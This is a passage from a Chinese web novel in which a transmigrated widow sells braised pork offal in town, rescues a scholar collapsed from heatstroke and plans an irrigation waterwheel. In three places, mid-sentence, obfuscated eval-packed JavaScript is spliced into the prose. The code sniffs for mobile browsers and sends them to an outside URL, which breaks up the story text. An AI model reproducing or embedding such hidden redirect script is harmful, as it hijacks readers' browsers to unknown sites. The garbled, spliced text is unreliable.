“你说的哪的客气话,赶紧进来。”她连忙把张婶请进院子,这些年,张婶家没少照顾他们孤儿寡母,就是现在孩子们大了,都成家了,才比之前走动的少了些。 “闻生,去帮我把卤煮给张婶盛一碗来。”秦嘉言接过张婶的碗递给大儿子,还不忘交代,“多盛一些,盛满点。” “我这卤了两个猪头,都是能吃的,你也别嫌弃。”她跟张婶子解释,猪头以前很少有人吃,即使做出来也是腥臊得要命。不是饥荒年,不会有人碰的。 “哪能呢!我感谢还来不及呢,别说秦娘子,你这手艺可真是好,一大早就把我那小孙孙香醒了,这不天还没亮我就过来了。”张婶子从怀里掏出一把铜板放在秦嘉言手里。 “这可使不得!都是邻居,以前我可没少麻烦你。”秦嘉言连忙把铜板还回去。“本来就没几个钱,你这药是给我铜板,不是打我脸么!” 张婶子说什么也不依,都是庄户人家,那好意思白要别人家的东西。“你赶紧拿着吧,也没几个钱,你要是不收,这肉我可就不要了。” 秦嘉言无奈只好手下了铜板,又转身去厨房切下一个猪耳朵放在碗里。 “这个也给你拿着,别看这猪耳朵没有多少肉,但脆脆的可好吃了,也不用在处理,直接切成丝就行。你回去拿给你那口子当下酒菜。”她把碗递给张婶子。 “正好你们也帮我尝尝味道,看看需要改进什么不?后天我准备拿到镇上去卖。” “那感情好!就你这手艺,去镇上还不得被抢疯了。”张婶子接过碗,看着碗里盛的带尖的猪头肉,笑的合不拢嘴。“我先不跟你说了,我赶紧把肉给我拿馋孙孙送过去,你听他嚎的,在你家院里都能听得见。” 送走了张婶,一回头看见李玉生正吃着泡过汤的饼。嘴里还不停的念叨“好吃,太好吃了!” 秦嘉言一看这样,就放了心。她做的卤煮一定会特别好卖! 第三天,村里的鸡刚叫过三遍,李家的大门就被敲响了。 秦嘉言刚打开大门就看见柴木匠将她要的那个手推车送了过来。那手推车的骨架是老槐木做的,还带着木头特有的清香。车中央还稳稳的镶嵌一口大铁锅,锅沿被柴木匠打磨的锃亮。 “来,秦娘子,看看合不合格!”柴木匠招呼秦嘉言过去,“这可是我熬夜赶工出来的。”他的语气里还带着几分得意,“看看这木头,我用的是最好的老槐树,这木头又硬又轻,最适合你来回推着走。” “真是太谢谢你了,就是我想的那个样子。”秦嘉言拍拍车身,隐不住感慨,古代的匠人的手真巧啊! 柴木匠粗糙的大手拍在车辕上,震起细微的木屑。“瞧见这里没?这炉子,可费了我老鼻子劲!铁匠炉太重,泥巴灶不经颠……嘿,最后想起之前家里还有个药炉子!我一试,厚实,轻巧,膛口大小正正好卡这锅底!”柴木匠怕秦嘉言嫌弃那炉子曾经是熬药的,特地解释了一番。 “药炉子就是个名字,你管他上面放的是什么呢,我可一点不介意。” “金花,你把灶台上新做的卤煮火烧给柴木匠端一碗来。”秦嘉言笑着摸摸车身,“这可真让你费心了,这一大早来,还没吃饭吧?赶紧尝尝我的手艺。” “那敢情好,这两天村里都传遍了,你的那个什么卤煮?火什么的。好吃的不得了。要不是着急赶工,我早想来试试了。” 胡氏转身进了灶间。不一会儿,端出一个大竹筒,热气腾腾。里面是酱色的汤头,浮着切得厚实的猪头肉、肥肠、肺子和几块炸豆腐,面饼浸在汤里。 柴木匠也没推辞,在院子里的凳子上坐下,接过竹筒。他吹了吹热气,挑起一大筷子连汤带水送进嘴里,嚼了几下,喉咙里发出满足的呼噜声。 他没说话,只是埋着头,一口接一口,吃得额头冒汗。油亮的汤汁沾在他胡子拉碴的下巴上。 碗很快见了底,连汤都喝干了。柴木匠用手背抹了把嘴,看着碗底剩下的一点油花,咂摸咂摸嘴,这才抬起头,对着秦嘉言嘿嘿一笑,说了句:“你这手艺,真绝了,日后你要是到镇上去卖这卤煮,我一定会经常光顾的。” 秦嘉言看他吃的高兴,自己的心理也开心起来,“瞧你说的,还用你到镇上去,什么时候想吃了,直接过这来盛就是了。” 柴木匠点点头,笑呵呵的把竹筒递给胡氏,“我算是看出来了,你将来这是一定会是做大买卖的人。”他从怀里掏出了之前秦嘉言给她的铜钱,放到了桌子上。 “老小有个不情之请,这车我给打好了,我也不收你的钱” “那哪行呢!你这又费功夫又费料的……” 柴木匠摆摆手打断了她的话,“你先听我说完,这车真的非常不错,你在镇上做生意的时候帮我宣传宣传,要是有人有想法在做这推车,你就帮我引荐引荐。” 他笑呵呵挠了挠脸,“这车可是你的想法,我不能就这样直接占用,昨儿这车还没有打磨好,就有货郎找我来订。你给我这法子,这车就当我的谢礼了。” “那……我总得谢您。”秦嘉言摸了摸车把上的藤条,温凉的触感顺着指尖往上爬,“这样,一会我让儿媳妇再给你打一些卤煮,你回去跟着柴婶子一起吃?” 柴木匠笑得眼尾堆起褶子:“成。” 不一会就见柴木匠拿着一个大竹筒便背着手往自家走,路过李屠户家时,果然被里头探出来的脑袋喊住了。 秦嘉言和胡氏把车擦了一遍,就准备往镇上去了。 到了镇上,她们直接把手推车停在了上次卖鸭蛋的地方。还没有停好,隔壁杂货店的金老板就跑出来,凑到她跟前。 “上回的金蛋还有么?我这等你们好几天了。上回买少了,一天就吃没了,让我媳妇好一顿数落。”金老板抱怨的说,“不是说过两天就出摊的么,这都第三天了。我这个等啊!” 秦嘉言:“……”在古代居然也让她感受到了催促上班的痛苦。 “金蛋今天没有,那个还得等十多天才能来,有工艺水平的,急不得。不过今天有新吃食,你要不要尝尝?” 秦嘉言伸手抓住那块厚重的木锅盖。猛的一揭,那霸道至极的卤煮香气就传了出来。瞬间压过了旁边的馒头香和油条味,引得附近几个摊主和行人纷纷侧目,抽动着鼻子寻找来源。 “好香啊!这是什么?”待白雾散去,金老板往大铁锅里一看,满满一锅的猪头肉,大块的猪肠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15910859|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、肺头、炸豆腐在沸腾的汤浪中沉沉浮浮,呈现出诱人的酱色光泽。 “这……这是下水?”金老板退后一步,“这能吃吗?” “当然能吃了,这就是我研究的新吃食,卤煮火烧,味道好吃,量大管饱,经济又实惠。你就放心吧。保证干净卫生。”她麻利地用长筷子夹起一块颤巍巍、酱红色的肥肠,“您瞧这肥肠,炖得透透的,软糯不腻!肺头滑嫩,豆腐吸饱了汤,一口下去,啧……” 金老板还是摇摇头退到后边,看着是挺香……可这都是些啥下水做的白丢都没人捡,他可不敢吃。 秦嘉言刚想向上次那样,弄几块肉切好当试吃,摊前面就来了一个壮汉,那壮汉一看就是码头苦力工,一身腱子肉在太阳的照射下闪闪发光。 他一脸凶相看着秦嘉言,指着她锅里的卤煮问,“这是什么?怎么卖?” 秦嘉言没有畏惧,摆摊之前,她已经把摊位费交好了,应该不能有人在收保护费之类的。 “这是我做的新吃食,卤煮火烧,一份只要20文钱。这位好汉,你要不要尝尝。” 那大汉囧了一下,黝黑的脸上泛起了一丝红晕。“什么好汉,我就是码头上扛大包的,你就叫我魏三就好。” 他看秦嘉言带着两个女子在摆桌椅,就过去帮她们把桌子都摆好,“给我来一份尝尝,怎么说都是肉么。”他看价格不贵,也就两个肉包子的价格,光闻这味道可真是不赖。 “好嘞,”秦嘉言“大哥您坐!”秦嘉言精神一振,手脚麻利起来,“马上就好!给您多切一个火烧进去。” “好,谢谢你啦!”魏三嗓门洪亮,找了个旁边的小马扎坐下。“你这给我都切的啥?” “猪头肉、心、肺、肠,还有炸豆腐、火烧,”秦嘉言一边快速回答,一边熟练地操作。 胡金花拿长筷子在滚锅里一探,精准地夹起一段油亮的肥肠、一块粉嫩的肺头、几块吸饱了汤汁鼓胀的豆腐,“啪嗒”一声盖在火烧块上。最后,舀起一大勺滚烫、深褐、油汪汪的卤汁,“哗啦”一声浇下去!浓郁的香气瞬间蒸腾起来。 “得嘞!您慢用!”陈玉桂把满满一大竹筒端到魏三面前的小木桌上,又递上一双筷子。 魏三迫不及待地抄起筷子,先对着碗深深吸了一口气,满脸陶醉:“香!真他娘的香!” 他夹起一块肥肠,也不怕烫,直接塞进嘴里,大口嚼了起来。魏三咀嚼的动作猛地一顿,眼睛瞬间瞪得溜圆!他腮帮子鼓着,表情凝固了,像是在细细品味什么不可思议的东西。 “这位娘子,你这做的也太好吃了吧!”他吃得满头大汗,稀里呼噜,风卷残云。不一会,一大竹筒全部见底了。他把最后一点汤汁舔到嘴里,又有点意犹未尽,“再给我来一份,不,来两份。” 魏三从怀里掏出一把铜钱放在桌子上,“多给我切俩火烧进去!” “好嘞,今天新吃食第一天出摊,我给你打八折,多切的火烧也不要你钱。” 周围的人一看魏三吃的样子,一下子都围了过来。 “老板!给我也来一碗!跟他那一样,多放火烧!” “我也要一碗!尝尝鲜!” “瞅啥呢老张?闻着多香啊!赶紧的,排队了!” “老板,快点儿!先给我盛,我瞅半天了!” “好嘞!都有!排队排队!一个一个来!”秦嘉言大声的应和着。胡氏和陈氏也麻利的忙了起来。 14. 第 14 章 还没到晌午,那一大锅卤煮已经见了底。排队的人还没有散去。 隔壁杂货铺的金老板又跑了出来。“太香了,太香了,香的我都吃不下去其他东西,管他什么给我来一份吧!” 秦嘉言为难的看着排着队的人,给胡氏使了个眼色。胡氏悄悄的留了一个大竹筒的卤煮放在一边。 她向金老板眨眨眼睛,金老板立刻会意。腆着大肚子一步一挪的回到了杂货铺里。 不多时,锅里的卤煮就卖完了,旁边还有几个排队的人没有买到。“老板娘,你家这量也太少了,这还没到晌午,这就都没了,白排那么久了。” 秦嘉言看看排队很久又没有买到的人,笑呵呵的回到:“明个早上我们还会出摊的,明天多做一些。”她想了想,拿出之前的做竹桶剩下的几个竹板,用刀在上面刻了几个字母“JY”反正只有她认得。 “这几个小竹板你们拿好,明个拿竹板来买,我还给你们打八折。” “那挺好,那我明个早点来买。到时候你可一定给我打折。”一个提着篮子的大婶笑呵呵的拿着竹板离开了。 秦嘉言和两个儿媳妇正收拾摊位,金老板看排队的人都散去了,赶紧从杂货店里跑出来。 一看见他,秦嘉言连忙把给他留好的卤煮火烧递了过去。“金老板,你拿好,特意给你留的。” 金老板接过竹筒,从怀里掏出一把铜板。秦嘉言立刻打断他。“不用给了,你是第一个顾客,这个卤煮火烧算我请你的。” 金老板连忙拒绝,“那可使不得,你们都是小本生意,赚的辛苦钱,这钱我哪能不给呢!” 秦嘉言说什么都不收,“你别这样,我还有事情要求你,收了你的钱,我就不好意思张口了。” 金老板一听,把钱踹了回去,“有什么事情你就直说,能帮的我一定会帮你。”至从秦嘉言她们在这里摆摊,他家的生意也跟着好了起来,他也有意和秦嘉言交好。 “就是我这推车,”秦嘉言拍了拍车辕,“虽然这车挺结实的,但我们村里实在离这里太远。来回推着也是浪费时间。我想在这寻个院子,能放我这车就行,我给付存放的钱。您是这附近老人了,能帮我介绍一下吗?” “这有啥的,直接放我院子里,就街对面,离这还近,我不收你钱。” “那可不行,咱们一码是一码。我这一时半会还开不了铺子,你不收我钱,我哪好意思天天在你这白放。”秦嘉言不赞同的摇摇头。 “那这样,你放我那里,一天就按十文钱给我,你也不用觉得少,你打听打听,这周围帮人寄放的都这个价。” 秦嘉言想了一下,点点头,给他数了三百文钱,“那我就先在你这存放一个月,下个月我需要的话,在付你钱”。 秦嘉言收拾好东西,买了些一会回去要处理的食材,就和两个儿媳妇背着筐往村里回了。 日头正毒,晒得土路泛出白花花的光。路边的狗尾巴草都蔫头耷脑地蜷着叶尖。 秦嘉言和两个儿媳妇快步的往家走,每个人后面背的筐里,都装满了猪头、猪下水。 “娘,你还别说,现在咱们做的这买卖,还不累,还能赚到银子。我现在一天天可有劲儿了!”胡氏擦了擦脑袋上的汗。 “可不是么,之前我们过的那叫啥日子,没看娘今儿都买了一大块五花肉么?娘说这个不卖,是留我们自己吃的。这一天天过的比过年还滋润。”陈氏笑盈盈的搭着话。 “这天儿太热了,咱们下回一定雇个车回来,等生意好了,我们也买个骡车,这下地干活,去镇上都能用得上。” 婆媳三人加紧着步子,虽然外面依旧很热,但靠着树荫走,还能凉快一些。 正走着,前面的胡氏不知被什么东西绊了一下,差点摔倒,她稳住身子回头一看,居然是一个人的脚。 “娘,那是……唔……吓死我了。” 秦嘉言眉头一蹙,赶紧跟过去看了一眼。她正想扶一下胡氏,眼角余光忽然撇见道旁水沟里,一个浑身裹着泥污的人影斜斜倒在那儿。 那人骨架瞧着不小,摊开的手脚又长又直,看身形该是个男子。身上的衣裳早看不出原本颜色,又脏又破地贴在身上,半截身子浸在沟底的积水里,泥水顺着衣角往下滴,人就那么一动不动地蜷在沟边,连一丝起伏都没有,不知是晕过去了,还是……已经没了气。 秦嘉言立马把背篓交给陈氏,跳到了沟里,连拉带拽的把人驮上了官道。 不晓得男子在沟里栽了多久,整个身子都已经湿透了。 她没让两个儿媳妇动手,毕竟这个时代男女有别,她也不想两个儿媳妇将来被人说闲话。 刚爬上官道,“啪嗒”一声,那男子就从她身上滑下来,摔在地上。 “你没事吧?你是哪家的?”这人看着不像李家村的,看穿着打扮看起来倒像个读书人。 秦嘉言刚要伸手要扶起他,男子却不动,只是喘着气。他动了动嘴唇,呻吟沙哑的几乎听不清:“水,给我水......” 秦嘉言心里一紧,拿出随身带的竹筒,放到了男人嘴边。 看见秦嘉言,他眼里似乎添了点神,像抓住救命的人,一把抓住她的衣角:“这位娘子能给我点吃的么?” 秦嘉言望着眼前仰头讨食的男人,脚步倏地顿住,眼底掠过一丝讶异。 这人竟生得一副极好的皮囊。高挺的鼻梁在污垢间仍显轮廓分明,眉眼线条利落俊秀,即便脸颊沾着泥灰,额角还凝着未干的血迹,那份骨子里的周正五官却半点没被狼狈遮掩。 她赶紧示意胡氏把剩下的饼拿过来,递给他:“你慢些吃,这饼是实面的,有点干。” 男人接过饼,手微微颤抖着,显然是饿极了:“在下大溪村顾毅,多谢娘子搭救。”他咬了一口麦饼,大概是饿得狠了,吞咽时喉结滚动得格外明显,却仍保持着几分斯文。 秦嘉言看着他狼吞虎咽又强撑着体面的样子,心里起了几分好奇,蹲在渠边问:“你是大溪村的?那离这里可不近。你怎么会掉在这渠里?” 顾毅咽下嘴里的食物,眼里掠过一丝难以言说的疲惫与悲戚。他沉默了片刻,才低声道:“家有父母病重,耽搁了科考……这几日他们刚去了,我安葬好双亲,连日赶路,许是累着了……”话说到一半,他忽然皱紧眉头,脸色猛地一白,身子晃了晃。 “哎?你怎么了?”秦嘉言刚要伸手去扶,就见他手里的麦饼“啪嗒”一声掉回泥沟里,整个人眼前一黑,直挺挺地向后倒了下去,彻底没了声息。 “顾毅!顾公子!”秦嘉言喊了两声,见他毫无反应,心里顿时慌了。她拍了拍男子的脸。男子已经昏迷了毫无反应。 她看向两个儿媳妇。胡氏和陈氏这个时候也顾不上男女大防,赶紧跑过来,帮着掐人中,遮挡太阳。 “娘,我看他这应该是中暑了。我们赶紧把他挪到凉快地方吧!”胡氏一看顾毅嘴唇发白,呼吸渐渐变浅,也着急起来。 秦嘉言咬了咬牙,“你们先把筐子送回家,再让李闻生管张婶子借个骡车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15916714|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来。”她深吸一口气,先费力地把顾毅从官道拖到田埂边上,又蹲下来试了试他的鼻息,还好,还有气。 她把人放在了树荫下面,想了想一狠心解开了他的衣服扣子,胡氏和陈氏羞红了脸,立刻回过身去。 “娘,你自己在这我们也不放心,等下看看还有没有人过来,帮着我们报个信儿吧。” 秦嘉言把竹筒里剩下的水都倒在顾毅的脸和胸口上,又从筐里抽出一个扇子,给他扇凉。 “这大晌午的,哪里能有人,你俩赶快回去,让李闻生过来接我。你俩把筐都背走,把上面盖好,那里面的钱别让人瞧了去。你们搭个伴,我也能放心点。” “娘……”胡氏显然不想把婆婆自己丢在这,十分犹豫。 “你们快点走吧,你们早点回去也能早点接我。这大热天的,我也怕一会在中暑了。” 胡氏陈氏没办法,只好把秦嘉言的大筐也背起来,临走时,还把她们俩装水的竹筒都留下来。 送走了儿媳妇们,秦嘉言回头又看向顾毅。只见他脸涨的通用,嘴唇却泛着白,紧闭着眼睛,额头上的汗珠子像断了线的珠子似的往下滚。 周围早已没了旁的人,秦嘉言想了想,蹲下去又探了探他的鼻息,他呼出的热气滚烫烫的。 没办法,光解开扣子不够,秦嘉言只能把他的外衣脱掉。那袍子料子厚实,此刻被汗浸透,贴在身上更闷得慌。好不容易褪下外袍,露出里面同样汗湿的中衣,她又急忙拿出胡氏留下的竹筒,拔开塞子就往他脖颈、脸颊上浇。 凉水一激,男子喉间溢出一声微弱的呻吟,眉头却皱得更紧了。 有用! 秦嘉言又把剩下的水都倒在了他的身上。 过了不到半个时辰,秦嘉言终于听到了远处传来骡车轱辘碾过石子的声响。 “娘,我来了。你怎么样了?”李闻生焦急的从车上跳下来,三步并两步的跑到秦嘉言面前。 “我没事,是这个人中暑了,你帮我把他背到车上。” 秦嘉言和李闻生一起将那男子扶起来。这人体格结实,两人费了些力气才把他挪到骡车的木板上,用草席垫着不让他硌着。 赶车到村里的时候,暑气还未消散,刚到院门口,胡金花就迎了出来。“娘,你可回来了,刘菇熬了绿豆汤,你赶紧喝一口。” 秦嘉言接过绿豆汤咕嘟灌了一大口,又递给李闻生。娘俩喝了水,小心的把还在昏迷着的顾毅背到屋里。 刘菇从里屋跑了出来:“快把他背进西屋,西屋里凉快。我听大嫂二嫂说完,就收拾出来了。” 刚把人安置在炕边,李金生就从外面走进来,看到炕上躺着的陌生男子,又瞅了瞅刘菇端来的满满一盆绿豆汤,顿时皱起了眉。 “娘,你这捡的什么人啊?别是个坏人!”他梗着脖子,有些不解,嘴里嘀咕“咱家粮食本就不宽裕,带个外人回来干啥?这绿豆汤熬了半天,给他喝多浪费——” 话还没说完,就被秦嘉言瞪了一眼。她抬手擦了擦额角的汗,看着炕上仍昏迷未醒的男子,低声道:“这人是大溪村的顾毅,应该是个读书人,前几日父母才刚过世。现在人在难处,咱哪能眼睁睁看着不管。” 陈氏赶紧把碗递过来:“娘,你在喝点绿豆汤,您在太阳底下也晒了那么久了。金生,你也喝点,我去烧点热水。” 李金生接过陈氏递给他的碗,看了眼床上的人,又看了眼娘,默默没作声。 炕上的男子眉间动了动,悠悠的醒过来。 15. 第 15 章 “这里是……”顾毅的嗓子疼的厉害,沙哑着声音问到。他看着一屋子的人都在看着他,有点疑惑。 “这里是李家村,你刚才中暑晕倒了,是我和我娘救了你,把你运回来的。”李闻生赶紧解释到。生怕顾毅误会他们是什么歹人。 “真是多谢各位了。我一定好好报答你们。”顾毅想起原道之前,之前就是这个娘子给了他一口水喝,还送给他一张饼,连忙弯下腰要对他们行礼。 “别介,咱们都是庄户人家,不兴这个的,看见人有难哪能不搭把手。”秦嘉言连忙扶住顾毅不让他弯下腰。“你醒了就好,也省的我去叫大夫了。你多喝点绿豆汤,在躺一会。” “多谢这位娘子……多谢您。”他擦着脸,声音还有些沙哑,看着秦嘉言的眼神满是感激,“给您添麻烦了,我好了就立刻……” “你中暑还没好,今天就留在我家吧。也别嫌弃,这是我小儿子的屋,这屋炕也够大,你俩睡一起也不会太挤,你就安心的歇一晚上。”秦嘉言指指窗外安慰他,“你看着天色,日头也要落了,你也没好利索,一会黑灯瞎火的出去,再出点啥事可咋办?” “那真的太谢谢您了。”顾毅正说着,门口探进个脑袋,是刘菇犹犹豫豫的不怎么敢进来,她手里端着个粗瓷碗,碗里盛着稠稠的小米粥,碗边还卧着个荷包蛋。 她鼓起勇气进来把碗放到秦嘉言手上:“娘,这是我做的小米粥,一会晾凉了你端给他吧。”说完就离开了堂屋。她有点不怎么好意思见陌生男子,要不是她两个嫂子在忙,她也不会主动揽下这活。 “快趁热喝吧。”秦嘉言把筷子递给他,“你先喝点粥垫垫肚子。一会还有其他饭菜。” 顾毅握着筷子,看着秦嘉言温和的眉眼,又看了看碗里冒着热气的小米粥,喉间有些发紧。 他父母走后这些天,他见惯了人情冷暖,却没料到在这陌生的村子,会被素不相识的人这样真心相待。 “这位娘子,您……您贵姓?我日后定要报答您的恩情。”他郑重地看着秦嘉言说到。 “我叫秦嘉言,你叫我秦娘子就行。”秦嘉言笑了笑,眼睛格外柔和,“报答啥?出门在外谁还没个难处?歇着吧,我让胡氏给你找床干净被褥,今晚就安心在这儿住下。” 说完,秦嘉言就走了出去,把房间留给顾毅。她虽是四个孩子的娘,但守寡多年,也不好一直和一个男子带在屋里。她自己倒是无所谓,但就怕坏了人家的名声。 毕竟是读书人么!将来不是还得参加科考什么的,名誉可重要了。 刚出来就看见李闻生几个坐在院子里,脸色发沉的正在商量什么事。 “怎么了?一个一个都蔫了吧唧的?发生什么事了?”秦嘉言找个凳子坐下,看着儿子们问。 “娘,没什么,就是这天太热了,一直不下雨。今儿你去城里卖卤煮的时候,我们几个去地里看了一眼,有块地庄稼都被晒的不行,再这样下去,怕是会影响今年的收成啊。”李闻生闷闷的回答。 “那赶紧浇水啊,我看这天一时半会也不像会下雨,这时候不浇水等啥时候?” “咱家那块地,离河太远了。我们兄弟几个轮流挑水过去浇也没供上。”李金生赶紧接话,生怕他娘再让他们回地里去浇水。“这边水还没打好,那边地又干了。浇也没用。” 秦嘉言也皱起了眉,古代生产力水平不高,很多地方都是靠天吃饭,要是天公不作美,就会影响一年的收成。 “算了,不想了,我先去做饭。车到山前必有路!今儿摆摊回来,我买了一块上好的五花肉,今儿再露一手,给你们做点好吃的!”秦嘉言不想把重担都压在儿子们的身上,安慰似的拍拍李闻生。“我再想想办法,不行明天我再去问问村里的老人,别担心,以前又不是没发生过这样的情况。” 李闻生点点头,有他娘在可真好,他真觉得那都不是什么事!以前自己怎么就没感觉到呢? 灶房里闷得像个蒸笼,秦嘉言把所有的窗户都打开,又把三个儿媳妇都叫过来。不是为了让她们干活,而且让她们学着做菜。 刘菇一看见五花肉,眼睛都直了,“娘,今儿不年不节的,怎么吃上肉了!”她费了很大的力气才没有让口水流下来。 “我们现在能赚钱了,就得吃点好的,好好补补身子,别亏了底子,以后补都补不过来。” 别看她那些儿子大部分都成家了,实际他们年纪并不大,就是最大的李闻生,今年也不过才19岁。 地里活计很辛苦,现在赚钱了她也不想亏待儿子、儿媳们。想给他们好好补补身体。 其实秦嘉言这个身体的年纪也不大,虽然都当了婆婆,实际才36岁,古代人结婚都很早,原主还没到16岁就嫁给了李大柱,第二年就生下了李闻生。 唉!秦嘉言还是对穿越过来无痛当娘这件事有点耿耿于怀,何况那还是四个儿子! “娘,今儿你要做什么?这肉要怎么做呀?炖白菜么?”刘菇打断了她的思绪,秦嘉言看着这个憨憨的儿媳妇笑了出来。 “来,我教你们做个不一样的,叫东坡肉。这肉做出来,鲜的你能把舌头都吞了!去帮我把葱姜蒜,调料都拿过来。”她拿刀背拍了一下五花肉,肉被拍的颤颤巍巍看起来就特别新鲜。 刘菇连忙从墙上把挂着的大葱拿了下来,胡氏和陈氏也挽起袖子抱了一堆柴火过来帮忙。 “呐,今儿你们还是在一旁看着,帮我烧火就好。下回你们就自己做。”秦嘉言笑着看着这三个儿媳妇,如今她们已经完全不怕她了,有时候还能聊几句俏皮话,秦嘉言也真心拿她们当妹妹一样相处。 “来,看好了,先把肉这样......”她把肉切成方块,先用温水泡去血水,又让胡金花支起柴火灶,烧了锅沸水。 “这里的步骤千万不能省,肉好不好吃就靠这步......不把浮沫打出去,肉就会很腥。”她把肉块下锅焯去浮沫,捞出来时冒着热气,烫得她指尖发红。秦嘉言让刘菇取了个砂陶罐,底层铺上姜片葱段一些调料,把肉块皮朝下码好,又从坛子里舀了两勺黄酒,再添上些井水,刚没过肉面。 “看见没,这样就好了,简单吧!剩下的就靠火候了。”秦嘉言每个步骤都教得特别仔细,三个儿媳妇听的也特别认真。 “这样就好了?还挺简单的,炖肉要放这么多酒么?”刘菇喃喃的问。 “对,就用这黄酒炖出来的肉才香!” 盖好陶罐盖子,她坐在灶前添柴。火舌舔着罐底,噼啪声里,罐口渐渐冒出白汽,带着黄酒的醇香和肉的脂香,慢慢驱散了她心头的烦躁。 秦嘉言盯着陶罐,看着水汽顺着罐沿流下,滴在灶台上,积成小小的水洼,又顺着灶面的纹路缓缓淌开。 水流……她忽然顿住了。 利用水流!水车!她怎么一开始没有想到呢!田里的灌溉可以用水车啊! “金花,你和玉桂、刘菇帮我看下火,最小火炖两个时辰就行,我出去一趟。咱们家的田地有救啦!”秦嘉言把围裙摘下来,放到胡金花手中,自己回到屋里,拿着今天赚到的所有铜板就出去了。 胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15922702|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金花、陈玉桂、刘菇面面相窥,“......娘她,这是怎么了。” 秦嘉言一路小跑,来到柴木匠家里,“柴木匠在家吗?我想找他做个活。”她推开大门走了进去。 柴木匠家院子还是一样的乱,脚下都是刨花和小木块,不远处的空地上还摆放着一个和秦嘉言的手推车差不多的半成品。 柴木匠听见秦嘉言的声音,赶紧从屋内走出来,手里还拿着一个正在打磨的木条。 “是秦娘子啊,有事吗?是那推车有什么问题吗?”柴木匠有些心急,虽然那手推车是他赶工出来的,但每一个零件和他都有细心打磨,没有一丝懈怠,按理说不应该有问题啊? “没有没有。”秦嘉言连连摆手,“那手推车好用的很,我把它放到镇上了,这次来我是想请你帮我打个新物件。” “你想打什么物件?”柴木匠擦了擦脑袋上的汗,不是推车有问题就好,他就说嘛,以他的手艺怎么会有什么问题。 “就是想打一个大轮子,比车轮要大10倍,旁边放上木板,水流动时,能带动木板把水送往高处。” 柴木匠看着秦嘉言指手画脚的样子,心理有点懵。“你说的这东西有图纸吗?我按图纸直接给你做。” “啊?还要图纸啊?”秦嘉言挠挠头,“上回的推车也没说需要图纸,您不也做出来了么!” 柴木匠笑呵呵的看着秦嘉言,“上次是上次,上次我只是根据货郎车改装了一下,这次不同,我完全没听过你要的这个东西,没有图纸,我肯定打不出来啊!” “那好吧,那我回去研究研究,等我把图纸弄好了,在过来找你做。”秦嘉言失落的往回走,唉!她本来以为这件事会很简单呢! 秦嘉言折腾这一趟,跑的满脸都是汗。 刚回到院子,就看到顾毅从屋里出来,正在帮李闻生劈柴,他长的很高,每次劈一下都得把腰弯下去,“哎呀,你怎么出来了?怎么不多休息一会?” “秦娘子,您回来了。”顾毅看见她,把斧子放下往后退了半步,略一弯腰,双手在身前轻轻一拱,动作带着几分局促。“喝了粥,我感觉好多了,就出来帮帮忙。” “金生,水生在哪呢?怎么能让客人帮忙?等他们回来看我不打死他。”秦嘉言看顾毅干着农活,心里有些过意不去。 “别,秦娘子,是我自己主动要帮忙的,不管他们的事。”顾毅赶紧解释,生怕秦嘉言真的生气。“我这感觉好多了,出来活动活动筋骨,一直躺着也是乏累的不行。” 秦嘉言点点头,没有在阻拦。回身把刚才拿的铜钱放到桌上,又管李闻生借了笔、磨和纸。 她把纸平铺在桌子上,准备开始花水车的图纸,可这水车在心里转得顺顺当当,落到地上就成了歪歪扭扭的线条。连一个圆都画不好, 秦嘉言有点懊恼的把笔往桌子上一摔,这古代的毛笔也太难用了吧!余光忽然看到现在一旁看着她的顾毅。 “你之前说你读过书?”秦嘉言拿着笔兴奋的看着顾毅,眼睛倏地亮了,像发现了救星。 “在下是略读过一些诗书。”顾毅谦虚到。 “那你会画图吗?”秦嘉言期待的看着他。 顾毅看着秦嘉言的眼睛,脸不知觉的有些红了起来。“略懂一些。以前也曾作画贴补过家用。” “那太好了!我有个事想求你。” 顾毅看着秦嘉言额前碎发湿了几缕,贴在光洁的额角,脸颊是被雨气蒸出来的淡淡粉。心里莫名其妙一静,“说什么求不求的,秦娘子有事直吩咐就好。” 16. 第 16 章 顾毅捏着笔,刚蘸了点墨,就听见对面的人轻轻“嗯”了一声。 秦嘉言期待的看着顾毅,眼睛却直勾勾盯着他握笔的手。 “就是我刚才给你讲的那样,这个转盘大概两个人高。中间这个位置掏空……这里放木板……” “好的,我先试试。”他低声说了句,笔尖在纸上顿了下,耳尖却悄悄热了。她那亮晶晶的眼神还黏在他手上,看得他握笔的手指都紧了紧。 不到一刻钟,顾毅就画好了大概。他轻轻的吹干了纸上的墨迹,拿给她看。“秦娘子,你看看这样对不对。” 秦嘉言接过草图仔细的看了半天。顾毅用手指了指图上轴承的位置。“秦娘子的想法真的很奇特,不过这里,按照你的想法,水流会很难推动这个水车旋转的。” 